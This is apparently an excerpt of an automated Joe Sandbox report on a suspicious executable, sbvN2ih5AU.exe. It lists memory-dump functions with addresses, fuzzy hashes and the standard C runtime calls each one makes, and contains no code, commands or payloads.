Function 027118D0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 3eedccd27ec095303ccc68214e2eda9ae48bbbddc6db7fe2acb817c0b39f434f
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: DD1108B72410C247D714862ED4B46BAE395EFC62297AE42BAD3AA4F65CD322E145DA00

Uniqueness

Uniqueness Score: -1.00%

Function 026FB000 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction ID: 9dc2a60310174426f4dd7cd9a50e0556fadfce07011144227bd1ed9591f53558
Opcode Fuzzy Hash: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction Fuzzy Hash: 57114F0A8492C4BDCF424A7880E56EBFFA58E3B218F4A71DAC8C44B743D01B150FE7A1

Uniqueness

Uniqueness Score: -1.00%

Function 025560A3 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1664626535.0000000002556000.00000040.00000020.00020000.00000000.sdmp, Offset: 02556000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2556000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 91d825ac65d44b7fcd81843d196742a1b94cbf25019c27c65f175a18ff3ce00c
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 1911CE72740111AFDB40CF55DC90FA677EEFB88320B5981A6ED08CB312D676E802CB60

Uniqueness

Uniqueness Score: -1.00%

Function 026F0042 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 65ba07cf9baee8725779db5dc9a314e0bb0932151affb1b087c2b1aec65bba83
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: CF118272340100AFDB54DF65DC90FA673EAEB88320B198155EE08CB716D675E802C760

Uniqueness

Uniqueness Score: -1.00%

Function 026FA79A Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction ID: 64acadf386aec842be5c201b3038f49e0e8c9daf1d481bd781eb72ee264fbc3e
Opcode Fuzzy Hash: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction Fuzzy Hash: 330128768106629BD740DF3EC8C045AFBF1BB082117528B2ADCA483A41D334F662DBE4

Uniqueness

Uniqueness Score: -1.00%

Function 02716437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 0271644E

Part of subcall function 02719636: __calloc_impl.LIBCMT ref: 02719645

__calloc_crt.LIBCMT ref: 02716472
_free.LIBCMT ref: 02716480
__calloc_crt.LIBCMT ref: 0271648E
_free.LIBCMT ref: 0271649E
_free.LIBCMT ref: 027164A4
__copytlocinfo_nolock.LIBCMT ref: 027164B3
__setmbcp_nolock.LIBCMT ref: 027164D4
_free.LIBCMT ref: 027164E2
___removelocaleref.LIBCMT ref: 027164E9
___freetlocinfo.LIBCMT ref: 027164F0
_free.LIBCMT ref: 027164F6

Memory Dump Source

Source File: 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 0a3870a4b0a72f6002488e0b6e222aa37b248cc51f270982d574fd8ce4c791fe
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: A221C675104611AEEB337F6DDC0BE1F7BDEDF41B50B908019E949594A4EB22CA50CF60

Uniqueness

Uniqueness Score: -1.00%

Function 02713F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 02713F51

Part of subcall function 02715BA8: __getptd_noexit.LIBCMT ref: 02715BA8

__gmtime64_s.LIBCMT ref: 02713FEA
__gmtime64_s.LIBCMT ref: 02714020
__gmtime64_s.LIBCMT ref: 0271403D
__allrem.LIBCMT ref: 02714093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 027140AF
__allrem.LIBCMT ref: 027140C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 027140E4
__allrem.LIBCMT ref: 027140FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02714119
__invoke_watson.LIBCMT ref: 0271418A

Memory Dump Source

Source File: 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: dc8064418785bee7030b7546196399908d7ea8bd75ca8bdf22ed79a3a890212c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 39712672A00727ABE715AF7DCC55B6AB3B9AF11324F14427AE514E7680E770D9048BD0

Uniqueness

Uniqueness Score: -1.00%

Function 0271650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 02716547
__calloc_crt.LIBCMT ref: 02716598
__lock.LIBCMT ref: 027165AE
__copytlocinfo_nolock.LIBCMT ref: 027165BF
_wcscmp.LIBCMT ref: 027165F9
__lock.LIBCMT ref: 02716610
__updatetlocinfoEx_nolock.LIBCMT ref: 02716622
___removelocaleref.LIBCMT ref: 02716628
__updatetlocinfoEx_nolock.LIBCMT ref: 02716647

Memory Dump Source

Source File: 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: f0febb64d21c6f987a3f5fa29e7e3127f31282cce770d7f573339f08d0c7c7b5
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 70412432904304EFDB02AFACDD89B9E3BEAEF44314F10842DEA1496290DB759645DF21

Uniqueness

Uniqueness Score: -1.00%

Function 027184AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 027184B1
_free.LIBCMT ref: 027184E2
_free.LIBCMT ref: 027184F5
_free.LIBCMT ref: 02718513
_free.LIBCMT ref: 02718525
_free.LIBCMT ref: 02718536
_free.LIBCMT ref: 02718541
_free.LIBCMT ref: 02718565
_free.LIBCMT ref: 02718581
_free.LIBCMT ref: 02718597
_free.LIBCMT ref: 027185BF

Memory Dump Source

Source File: 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: e0b17afb17f667c11b35bbf3af587469114bfffec4f7f5be7b02623547428add
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 5E31C531900260DFDB229F1DFC8584D77A6FF14324754862AEA085B2B0CBB459C9AF96

Uniqueness

Uniqueness Score: -1.00%

Function 0273FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0273FC1F

Part of subcall function 0272169C: std::exception::_Copy_str.LIBCMT ref: 027216B5

__CxxThrowException@8.LIBCMT ref: 0273FC34
std::exception::exception.LIBCMT ref: 0273FC4D
__CxxThrowException@8.LIBCMT ref: 0273FC62
std::regex_error::regex_error.LIBCPMT ref: 0273FC74

Part of subcall function 0273F914: std::exception::exception.LIBCMT ref: 0273F92E

__CxxThrowException@8.LIBCMT ref: 0273FC82
std::exception::exception.LIBCMT ref: 0273FC9B
__CxxThrowException@8.LIBCMT ref: 0273FCB0

Strings

leM, xrefs: 0273FCA8

Memory Dump Source

Source File: 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: ab05b6671ea12a0a1402bf6ac04151d103bd85f2541a8c8dfc6f8a22d5e2dc33
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 9111BC79C0020DBBCF01FFA5D499CDDBB7DBA04344B808566ED1897641EB74A3488F95

Uniqueness

Uniqueness Score: -1.00%

Function 026FF010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 026FF01F

Part of subcall function 02711602: __FF_MSGBANNER.LIBCMT ref: 02711619
Part of subcall function 02711602: __NMSG_WRITE.LIBCMT ref: 02711620

_malloc.LIBCMT ref: 026FF02B
_wprintf.LIBCMT ref: 026FF03E
_free.LIBCMT ref: 026FF044
_free.LIBCMT ref: 026FF065
_malloc.LIBCMT ref: 026FF06D
_sprintf.LIBCMT ref: 026FF0C0
_wprintf.LIBCMT ref: 026FF0D2
_wprintf.LIBCMT ref: 026FF0DC
_free.LIBCMT ref: 026FF0E5

Memory Dump Source

Source File: 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 874de40cfd86eb632812124e8d7c59c38e4ef28d57c799a797d4908af60c8629
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 541136B29006A07AC762B6B90C16FFF3BDD9F45302F4800A9FF8CD5180DA185A049BB1

Uniqueness

Uniqueness Score: -1.00%

Function 02701960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 027019C6
__CxxThrowException@8.LIBCMT ref: 027019F1
__CxxThrowException@8.LIBCMT ref: 02701A1A
__CxxThrowException@8.LIBCMT ref: 02701A4B
_memset.LIBCMT ref: 02701A6A
__CxxThrowException@8.LIBCMT ref: 02701A90
_malloc.LIBCMT ref: 02701AA0
_memset.LIBCMT ref: 02701AAB
_sprintf.LIBCMT ref: 02701ACE

Memory Dump Source

Source File: 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 00a3513da542f7f94c6f6828f942502954b6dcb99bf9270f0d68133e93e610f5
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 79512CB1D40219EBDB11DBA5DC8AFEFBBB9FF04744F100029F909B6190E7745A058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 026FF210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 026FF284
__CxxThrowException@8.LIBCMT ref: 026FF2AF
__CxxThrowException@8.LIBCMT ref: 026FF2DE
__CxxThrowException@8.LIBCMT ref: 026FF30F
_memset.LIBCMT ref: 026FF32E
__CxxThrowException@8.LIBCMT ref: 026FF354
_sprintf.LIBCMT ref: 026FF373

Memory Dump Source

Source File: 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: e5c8fc0af1c73ac428bcefa6ebd8ba2045e13b861210f154ebb0c34fca3e1902
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: EF514F71D40249AADF11DFA5DC86FEEBBB9AF05704F100029FA05B62C0D775AA058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 026FF440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 026FF4B7
__CxxThrowException@8.LIBCMT ref: 026FF4E2
__CxxThrowException@8.LIBCMT ref: 026FF504
__CxxThrowException@8.LIBCMT ref: 026FF535
_memset.LIBCMT ref: 026FF554
__CxxThrowException@8.LIBCMT ref: 026FF57A
_sprintf.LIBCMT ref: 026FF594

Memory Dump Source

Source File: 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 2e297b61a455df3a8f9e132d0753f447bd02fc1154528b468e905658e82d5a4a
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 90515271D40249AADF21DFA5DC86FEEBBB9FF04704F100129FA05B62C0D774AA058BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0273208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 027320C6
__invoke_watson.LIBCMT ref: 02732120
_strlen.LIBCMT ref: 027320D4

Part of subcall function 02715BA8: __getptd_noexit.LIBCMT ref: 02715BA8

_strnlen.LIBCMT ref: 0273215F
__lock.LIBCMT ref: 02732170
__getenv_helper_nolock.LIBCMT ref: 0273217B

Memory Dump Source

Source File: 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 5d64e11a946542b91f05b76268dd9e152d1500b47fa3546cf3a11b2e1f75d4d8
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: 61312872A01225BBEB236F68DC08B6E3796AF45B24F104015ED04EB287DB74CD45CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 02702670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 027026DB
_memset.LIBCMT ref: 02702A30
_memset.LIBCMT ref: 02702AC0

Strings

D, xrefs: 02702AC8

Memory Dump Source

Source File: 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 23d381bd7dda34dada29c75e5fb6aeb40eca5b4199e57a00032d54d6c629dcf8
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 52E14E72D00219EADF65DBA0CD89FEEB7B8BF04304F144069EA09F6191EB746A49CF54

Uniqueness

Uniqueness Score: -1.00%

Function 026FD8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 026FD8EA

Strings

(, xrefs: 026FDAE9
$, xrefs: 026FDAE2
, xrefs: 026FDADB

Memory Dump Source

Source File: 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: d3623191b57079487b63ed15f34aad2639fa24312bff41c4f6322e5e1c021ace
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: BC91BEB1D00218EAEF21CFA4CC99BEEBBB5AF05308F144169D505772C1DBB66A48CF65

Uniqueness

Uniqueness Score: -1.00%

Function 0270A810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0270A858
_memset.LIBCMT ref: 0270A869
_memset.LIBCMT ref: 0270A87A

Strings

p2Q, xrefs: 0270A882

Memory Dump Source

Source File: 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 880414a27ea5a0c3f0040d11753ba48de762c81a9a7835ba1b1a7b682e25e782
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 6DF06D38698750A5F7227754BC2AB853E817F36B08F004088E1582E2E0D3FD238CA7DA

Uniqueness

Uniqueness Score: -1.00%

Function 0273FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0273FBF1

Part of subcall function 0272169C: std::exception::_Copy_str.LIBCMT ref: 027216B5

__CxxThrowException@8.LIBCMT ref: 0273FC06

Strings

TeM, xrefs: 0273FBFE
TeM, xrefs: 0273FBE7, 0273FBFB

Memory Dump Source

Source File: 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 8c62b8e21a8754684fdc97649330c5cd2a0dd2ce96c9d9aaf3b5acd99312a58b
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: F2D06775C0025CBBCB01EFA5D499CDDBBB9AA04344B408466E91897241EA74A34D8F94

Uniqueness

Uniqueness Score: -1.00%

Function 026FD0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 0271197D: __wfsopen.LIBCMT ref: 02711988

_fgetws.LIBCMT ref: 026FD15C

Memory Dump Source

Source File: 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 9ce9700aae661c56e95719d10a2449f61aa114e94654cfb20c09d74e9e315d51
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 1791B272D00219ABCF61DFA8CC89BAEB7B5BF05314F140529EA15A3240E775BA48CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 026FD540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 026FD77E
_malloc.LIBCMT ref: 026FD7B2
_malloc.LIBCMT ref: 026FD7C1
_fprintf.LIBCMT ref: 026FD815

Memory Dump Source

Source File: 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: ac7e43378d7f1c130b583ca12d7cdc7bbedd3002e06e256c1528b43cbd70a727
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 98A151B1C00259DBEF12EFE4CC49BDEBB76AF15308F140028D50576292D7B65A58CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 02712AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 02712B2E
__read_nolock.LIBCMT ref: 02712BFE
__filbuf.LIBCMT ref: 02712C21
_memset.LIBCMT ref: 02712C65

Part of subcall function 02715BA8: __getptd_noexit.LIBCMT ref: 02715BA8

Memory Dump Source

Source File: 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: f71b0a3bb356d990f009ae40e2929e353b62ba84bc5c2c184c8d5f72dcf2a0d9
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: 1751B370A0132A9BDB398F7DCC84AAE77B6AF40324F148729ED35962D2E7709951CF44

Uniqueness

Uniqueness Score: -1.00%

Function 02731359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0273137D

Part of subcall function 02731A9D: __fltout2.LIBCMT ref: 02731AC6

__cftog_l.LIBCMT ref: 027313A3
__cftoe_l.LIBCMT ref: 027313D5

Memory Dump Source

Source File: 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 414264f29549245d7cc48b3afedff3b8cf7913105704cedb7b3544ac29f03f9a
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: FC01483240018EBBCF135E88DC45CEE3F63BB19355B888415FA5D58832D336C5B2AB82

Uniqueness

Uniqueness Score: -1.00%

Function 027B7A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 027B7A4B

Part of subcall function 027B8140: ___BuildCatchObjectHelper.LIBCMT ref: 027B8172
Part of subcall function 027B8140: ___AdjustPointer.LIBCMT ref: 027B8189

_UnwindNestedFrames.LIBCMT ref: 027B7A62
___FrameUnwindToState.LIBCMT ref: 027B7A74
CallCatchBlock.LIBCMT ref: 027B7A98

Memory Dump Source

Source File: 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 5efd72d1b94898432c79e783f84a1dec96a15e14e50dec75cbb6070c2a914730
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: BE01D732000109BBCF13AF55CC04FDA7BAAEF89758F158014FE1865120D732E961DFA4

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: sbvN2ih5AU.exePID: 7356, Parent PID: 7336COMMON

Execution Graph

Execution Coverage:	2.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	33.4%
Total number of Nodes:	919
Total number of Limit Nodes:	27

Executed Functions

Function 00419F90 Relevance: 176.6, APIs: 65, Strings: 35, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
